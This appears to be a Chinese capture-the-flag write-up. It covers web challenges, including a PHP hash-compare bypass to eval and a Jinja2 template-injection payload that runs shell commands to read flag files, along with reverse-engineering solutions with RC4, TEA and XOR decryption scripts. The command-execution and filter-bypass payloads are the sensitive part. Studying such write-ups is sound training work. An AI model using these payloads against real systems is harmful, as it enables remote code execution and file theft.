web
遗失的拉链
打开御剑发现了一个目录,访问后给了一个zip压缩包
里面有一个网页的html,两段php代码:index.php pizwww.php
index.php:
<?php
header("Location: index.html");
exit();
?>
访问index.php自动重定向到index.html
pizwww.php:
<?php
error_reporting(0);
//for fun
if(isset($_GET['new'])&&isset($_POST['star'])){
if(sha1($_GET['new'])===md5($_POST['star'])&&$_GET['new']!==$_POST['star']){
//欸 为啥sha1和md5相等呢
$cmd = $_POST['cmd'];
if (preg_match("/cat|flag/i", $cmd)) {
die("u can not do this ");
}
echo eval($cmd);
}else{
echo "Wrong";
}
}
hash强比较,数组绕过,过滤cat和flag,用tac和*通配符
exp:
http://eci-2ze8d3ln9lmig6vvuqa5.cloudeci1.ichunqiu.com/pizwww.php?new[]=1
POST:star[]=2&cmd=system(‘tac /fla*’);
你能在一秒内打出八句英文吗
进题目后发现需要让我们在一秒内输入八句英文才算成功,个人尝试过对js控制台进行操作,使其时间固定为1s之内的数值,并且js代码禁止了粘贴,直接禁用js又会导致根本使用不了这个按钮,尝试过抓包直接发送数据,但是发现回显是:需要自动重定向到target url,而且直接观察也能发现每一次的英文句子是会发生改变的,去抓包发送数据会发错误的数据。于是我想到了使用selenium库,用web自动化测试脚本去操作,这下面是题目对我们限制的js代码(已注释)
document.addEventListener('DOMContentLoaded', function() {
const startTime = Date.now();
const timerElement = document.getElementById('time-left');
const submitBtn = document.getElementById('submit-btn');
const userInput = document.getElementById('user-input');
userInput.addEventListener('dragover', function(event) {
event.preventDefault();
});
userInput.addEventListener('drop', function(event) {
event.preventDefault();
});
document.addEventListener('contextmenu', function(event) {
event.preventDefault();
});
// 增加一点点难度
document.addEventListener('keydown', function(event) { //防止复制粘贴等操作
if (event.ctrlKey && (event.key === 'u' || event.key === 'U' ||
event.key === 's' || event.key === 'S' ||
event.key === 'p' || event.key === 'P' ||
event.key === 'i' || event.key === 'I' ||
event.key === 'j' || event.key === 'J' ||
event.key === 'c' || event.key === 'C' ||
event.key === 'v' || event.key === 'V' ||
event.key === 'x' || event.key === 'X')) {
event.preventDefault();
} //防止f12
if (event.key === 'F12' || event.key.startsWith('F')) {
event.preventDefault();
}
});
let timer = setInterval(function() { // 时间计算方法,由于这个Date.now是内置函数,而startTime在上面也是由Date.now函数定义的,而startTime是const常量不能通过控制台改变
let elapsedTime = ((Date.now() - startTime) / 1000).toFixed(2);
timerElement.textContent = elapsedTime;
if (elapsedTime <= 1) {
timerElement.className = 'green';
} else {
timerElement.className = 'red';
}
}, 10);
submitBtn.addEventListener('click', function() {
const inputText = userInput.value;
const form = document.createElement('form');
form.method = 'POST';
form.action = '/submit';
const input = document.createElement('input');
input.type = 'hidden';
input.name = 'user_input';
input.value = inputText;
form.appendChild(input);
附上exp
from selenium import webdriver
from selenium.webdriver.common.by import By
from selenium.webdriver.edge.service import Service
from selenium.webdriver.edge.options import Options
from selenium.webdriver.support import expected_conditions as EC
from time import sleep
import re
# 设置Edge选项
edge_options = Options()
edge_options.add_argument("--start-maximized") # 最大化窗口(可选)
# 指定EdgeDriver的路径
service = Service(r'C:\Program Files (x86)\Microsoft\Edge\Application\edgedriver_win64\msedgedriver.exe')
# 指定Edge浏览器的路径
edge_options.binary_location = r'C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe'
# 初始化WebDriver
driver = webdriver.Edge(service=service, options=edge_options)
try:
# 打开目标网站
driver.get('http://eci-2ze88xvgd67rn84tc3an.cloudeci1.ichunqiu.com/') # 替换为目标网站的URL
# 找到按钮并点击 去用F12找到按钮的id
button = driver.find_element(By.ID, 'start-btn') # 根据实际情况修改选择器
button.click()
new_url = driver.current_url
print(f"跳转后的URL: {new_url}")
# 等待页面跳转完成
# 获取页面内容
page_content = driver.page_source
# 打印页面内容
print(page_content)
str_page_content = str(page_content)
# 定义正则表达式模式
pattern = r'<p id="text">(.*?)</p>'
match = re.search(pattern, page_content, re.DOTALL)
# 执行其他操作...
if match:
# 提取匹配的内容
text_content = match.group(1)
print(f"提取的文本内容: {text_content}")
else:
print("未找到匹配的内容")
textarea = driver.find_element(By.ID, 'user-input')
textarea.send_keys(text_content) # send_keys() 是 Selenium 库中的一个内置方法,用于向网页元素发送键值。
# 找到按钮并点击
button = driver.find_element(By.ID, 'submit-btn') # 根据实际情况修改选择器
button.click()
finally:
# 关闭浏览器
driver.quit()
复读机
payload
{{url_for.__globals__.os.popen('tac /f*').read()}}
RE
UPX
一个简单的脱壳题,拿到文件直接脱壳
./upx.exe -d upx
脱完壳之后ida反编译
进入RC4函数,发现是一个RC4加密在与data比对,而RC4是流密码,只需要将data拿来RC4加密一次就可以得到flag,这里直接动调,利用LAZYida将输入的替换为data,即可得到flag
drink_TEA
个人感觉这题不是简单,首先了解tea加密,密钥长度是64位,先用ida查看反编译,之后改一下函数名跟变量名使其更好分析
可以看到是进行一次tea加密后,将加密后的数据与unk_140004080做对比,进入tea加密函数
第一个要注意的就是 **v4 -= 0x61C88647;**正常来说这个位置是加,但是因为他是int类型,所有使用其补码,为9E3779B9
而对于密钥,因为其是DWORD类型,需要将字符串转换为数组大小为4的密钥,这里需要手动将其替换成key
为小端序
long key[4]; // 将密钥转换为 DWORD 类型
key[0] = 0x636C6557;
key[1] = 0x54656D6F;
key[2] = 0x77654E6F;
key[3] = 0x72617453;
最后写出解密脚本
#include <stdio.h>
#include <string.h>
void tea_decrypt(unsigned int *data, long *key)
{
unsigned int v3 = data[0];
unsigned int v4 = data[1];
unsigned int delta = 0x9e3779b9;
unsigned int sum = delta * 0x20; // 初始化 sum 为加密结束时的值
for (int i = 0; i < 32; ++i)
{
v4 -= (key[3] + (v3 >> 5)) ^ (sum + v3) ^ (key[2] + 16 * v3);
v3 -= (key[1] + (v4 >> 5)) ^ (sum + v4) ^ (*key + 16 * v4);
sum -= delta;
}
data[0] = v3;
data[1] = v4;
}
int main()
{
long key[4]; // 将密钥转换为 DWORD 类型
key[0] = 0x636C6557;
key[1] = 0x54656D6F;
key[2] = 0x77654E6F;
key[3] = 0x72617453;
unsigned char encrypted_data[] =
{
0x78, 0x20, 0xF7, 0xB3, 0xC5, 0x42,
0xCE, 0xDA, 0x85, 0x59, 0x21, 0x1A, 0x26, 0x56, 0x5A, 0x59,
0x29, 0x02, 0x0D, 0xED, 0x07, 0xA8, 0xB9, 0xEE, 0x36, 0x59,
0x11, 0x87, 0xFD, 0x5C, 0x23, 0x24
};
for (int i = 0; i < 32; i += 8)
{
tea_decrypt((unsigned int *)&encrypted_data[i], key);
}
printf("Decrypted data: ");
for (int i = 0; i < 32; i++)
{
printf("%c ", encrypted_data[i]);
}
printf("\n");
return 0;
}
运行得到flag
Ptrace
同时用ida打开father与son,先查看ida的反编译
不理解ptrace(PTRACE_POKEDATA, addr, addr, 3);的意思,直接去问ai:
具体来说,ptrace(PTRACE_POKEDATA, pid, addr, value)
的参数含义如下:
-
PTRACE_POKEDATA
:指定要执行的操作类型,这里是向被调试进程的数据空间写入数据。 -
pid
:被调试进程的进程ID。 -
addr
:在被调试进程地址空间中的地址,你希望在这个地址处写入数据。 -
value
:要写入的数据值。
在你的例子中:
-
addr
被用作pid
和addr
参数,这意味着你要向被调试进程(其PID为addr
)的数据空间中某个地址(同样为addr
)写入数值3
。
需要注意的是,这里的两个 addr
可能是误用或者是特定场景下的需求,通常情况下,这两个参数应该是不同的,一个是目标进程的PID,另一个是你想写入数据的具体地址。
此外,使用 ptrace
需要有适当的权限,通常只有当调用进程具有对目标进程足够的权限时才能成功执行此类操作。这通常意味着调用者必须是超级用户或者两个进程之间存在特定的关系(如父子关系)。如果权限不足,ptrace
调用将会失败,并返回错误码。
也就是说,传入了3到addr这个地址,去看看addr指向哪里
跳转至地址处,发现在father没有这个地方,其实是在son文件里,son中跳转至该处
此时dword_60004040就是传入该处的3,而byte_60004020就是与输入加密后做对比的数据,所有可以得到解密脚本
#include <stdio.h>
void main()
{
unsigned char enc[32] = {
0xCC, 0x8D, 0x2C, 0xEC, 0x6F, 0x88, 0xED, 0xEB, 0x2F, 0xED, 0xAE, 0xEB, 0x4E, 0xAC, 0x2C, 0x8D,
0x8D, 0x2F, 0xEB, 0x6D, 0xCD, 0xED, 0xEE, 0xEB, 0x0E, 0x8E, 0x4E, 0x2C, 0x6C, 0xAC, 0xE7, 0xAF
};
unsigned char flag[32] = {0};
for ( int i = 0; i < 32; ++i )
flag[i] = ((int)(unsigned __int8)enc[i] >> 5) | (enc[i] << (8 - 5));
for ( int j = 0; j < 32; ++j)
printf("%c",flag[j]);
}
ezencrypt
打开jadx反编译它,找到加密函数
发现先进行了AES,base64加密,后面又进入了连接库,用ida分析.so文件
可以看到将经过上面加密的s再进行了enc加密处理,再与mm比对来判断用户输入的flag是否正确,分析enc函数
再分析encc函数
可以发现这其实是一个rc4,所有可以直接写出脚本求出进入so层加密前的数据
#include <stdio.h>
#include <string.h>
unsigned char sbox[256];
char key[5] = "meow";
void __fastcall init_sbox(char *key) {
unsigned __int8 v1;
int v2 = 0;
int v3 = 0;
unsigned int j;
for (unsigned int i = 0; i < 0x100; ++i) {
sbox[i] = i;
}
for (j = 0; j < 0x100; ++j) {
v1 = sbox[j];
v3 = (unsigned __int8)(key[v2] + v1 + v3);
sbox[j] = sbox[v3];
sbox[v3] = v1;
if (++v2 >= (unsigned __int64)strlen(key)) {
v2 = 0;
}
}
}
__int64 __fastcall decc(char *key, unsigned char *enc) {
unsigned __int64 v2;
__int64 result;
unsigned __int8 v4;
int v5 = 0;
int v6 = 0;
int i;
init_sbox(key);
for (i = 0; ; ++i) {
v2 = strlen((char *)enc);
result = i;
if (i >= v2) {
break;
}
v6 = (v6 + 1) % 256;
v5 = (sbox[v6] + v5) % 256;
v4 = sbox[v6];
sbox[v6] = sbox[v5];
sbox[v5] = v4;
enc[i] ^= sbox[(sbox[v5] + sbox[v6]) % 256];
}
return result;
}
void __fastcall dec(unsigned char *enc_1) {
decc(key, enc_1);
int v3 = strlen((char *)enc_1);
for (int i = 0; i < v3; ++i) {
enc_1[i] ^= key[i % 4];
}
}
int main() {
char key[] = "meow";
unsigned char enc[44] = {
0xC2, 0x6C, 0x73, 0xF4, 0x3A, 0x45, 0x0E, 0xBA, 0x47, 0x81, 0x2A, 0x26, 0xF6, 0x79, 0x60, 0x78,
0xB3, 0x64, 0x6D, 0xDC, 0xC9, 0x04, 0x32, 0x3B, 0x9F, 0x32, 0x95, 0x60, 0xEE, 0x82, 0x97, 0xE7,
0xCA, 0x3D, 0xAA, 0x95, 0x76, 0xC5, 0x9B, 0x1D, 0x89, 0xDB, 0x98, 0x5D
};
dec(enc);
printf("Decrypted: ");
for (int i = 0; i < 44; ++i) {
printf("%c", enc[i]);
}
printf("\n");
;
return 0;
}
再将这段拿去AES解密即可得到flag
顺嘴一提这里的密钥是app的标题
Dirty_flowers
直接按照提示nop掉所有的汇编后,分析发现只进行了简单的异或,这里直接给出脚本
#include <stdio.h>
#include <string.h>
int main()
{
unsigned char data[36] = {
2, 5, 19, 19, 2, 30, 83, 31,
92, 26, 39, 67, 29, 54, 67, 7,
38, 45, 85, 13, 3, 27, 28, 45,
2, 28, 28, 48, 56, 50, 85, 2,
27, 22, 84, 15
};
char key[13]="dirty_flower";
int v2 = strlen(key);
int len =36;
for (int i = 0; i < len; ++i )
{
data[i] ^= key[i % v2];
}
for (int i = 0; i < len; ++i )
{
printf("%c",data[i]);
}
return 0;
}